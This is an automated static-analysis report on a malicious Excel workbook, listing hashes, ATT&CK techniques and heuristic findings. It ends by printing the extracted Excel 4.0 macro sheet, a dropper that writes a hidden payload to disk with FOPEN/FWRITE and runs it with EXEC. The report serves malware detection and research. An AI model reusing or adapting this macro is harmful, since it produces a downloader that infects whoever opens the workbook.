Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e140c05cd67cafde…

MALICIOUS

Office (OOXML)

274.3 KB Created: 2021-09-13 09:41:09 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-24
MD5: f60329ae6ab94e78c9c12628f64d5a8c SHA-1: f3b8d3102bfdfd4cc36609aaee98b0d6c88c5775 SHA-256: e140c05cd67cafde837d7475f4114591ffe5903fe8998da8eeacd5d81c280e48
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, specifically using functions like FOPEN, FWRITE, FCLOSE, EXEC, and HALT. These functions are indicative of a macro-based downloader that writes and executes a second-stage payload. The presence of a hidden sheet and the use of dangerous XLM formula APIs further support this assessment.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1474 bytes
SHA-256: 61f06ab968299128a202518f710962535b8c17f4430fa8089f4b1331a68cd6aa
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A153:B1630"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="153" spans="2:2"/><row r="210" spans="1:1"><c r="A210" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$153, 1, 200), 1+2)</f><v>0</v></c></row><row r="268" spans="1:1"><c r="A268" t="b"><f>FOR.CELL("JhEXQ",Sheet1!G161:G26441, TRUE)</f><v>0</v></c></row><row r="321" spans="2:2"/><row r="348" spans="1:1"><c r="A348" t="e"><f>FWRITE(Macro1!A210,CHAR(JhEXQ))</f><v>#NAME?</v></c></row><row r="439" spans="1:1"><c r="A439" t="b"><f>NEXT()</f><v>0</v></c></row><row r="548" spans="1:1"><c r="A548" t="b"><f>FCLOSE(Macro1!A210)</f><v>0</v></c></row><row r="1492" spans="1:1"><c r="A1492" t="b"><f>SET.VALUE(Macro1!$B$321, GET.NOTE(Macro1!$B$321, 1, 200))</f><v>0</v></c></row><row r="1587" spans="1:1"><c r="A1587" t="b"><f>EXEC(Macro1!$B$321)</f><v>0</v></c></row><row r="1630" spans="1:1"><c r="A1630" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><sheetProtection password="8E7B" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>